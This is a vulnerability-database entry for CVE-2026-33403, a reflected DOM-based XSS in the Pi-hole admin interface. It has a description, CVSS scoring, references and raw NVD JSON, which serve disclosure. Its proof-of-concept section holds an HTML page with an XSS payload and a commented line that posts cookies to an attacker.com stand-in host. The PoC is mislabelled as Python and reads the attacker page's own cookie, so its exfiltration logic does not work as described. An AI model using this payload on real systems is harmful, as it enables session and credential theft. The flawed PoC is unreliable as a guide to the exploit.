CVE-2026-33403

Description

Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level ad and internet tracker blocking application. From 6.0 to before 6.5, a reflected DOM-based XSS vulnerability in taillog.js allows an unauthenticated attacker to inject arbitrary HTML into the Pi-hole admin interface by crafting a malicious URL. The file query parameter is interpolated into an innerHTML assignment without escaping. Because the Content-Security-Policy is missing the form-action directive, injected <form> elements can exfiltrate credentials to an external origin. This vulnerability is fixed in 6.5.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:pi-hole:web_interface:*:*:*:*:*:*:*:* - VULNERABLE

Pi-hole Admin Interface >= 6.0, < 6.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
// PoC for CVE-2026-33403
// Description: Reflected DOM-based XSS in taillog.js
// Usage: Victim visits the URL below while logged in.
-->

<html>
<body>
<script>
// The vulnerable parameter is 'file' in the taillog script
var payload = '<img src=x onerror=alert(1)>';
// To exfiltrate data via form action (due to missing CSP form-action):
// var payload = '<form action="https://attacker.com/collect" method="POST"><input name="data" value="' + document.cookie + '"><input type="submit"></form>';

var targetUrl = 'http://<pi-hole-address>/admin/scripts/pi-hole/php/taillog.php?file=' + encodeURIComponent(payload);

// Redirect victim or simulate click
window.location.href = targetUrl;
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33403
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33403
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33403/
[4] VulDB https://vuldb.com/cve/CVE-2026-33403
[5] https://github.com/pi-hole/web/security/advisories/GHSA-7xqw-r9pr-qv59
[6] https://github.com/pi-hole/web/security/advisories/GHSA-7xqw-r9pr-qv59

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33403", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:10.303", "lastModified": "2026-04-10T17:50:20.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level ad and internet tracker blocking application. From 6.0 to before 6.5, a reflected DOM-based XSS vulnerability in taillog.js allows an unauthenticated attacker to inject arbitrary HTML into the Pi-hole admin interface by crafting a malicious URL. The file query parameter is interpolated into an innerHTML assignment without escaping. Because the Content-Security-Policy is missing the form-action directive, injected <form> elements can exfiltrate credentials to an external origin. This vulnerability is fixed in 6.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:web_interface:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.4.1", "matchCriteriaId": "3F1EA9FF-4B56-41DE-A685-A1B75E6ECEF2"}]}]}], "references": [{"url": "https://github.com/pi-hole/web/security/advisories/GHSA-7xqw-r9pr-qv59", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/pi-hole/web/security/advisories/GHSA-7xqw-r9pr-qv59", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}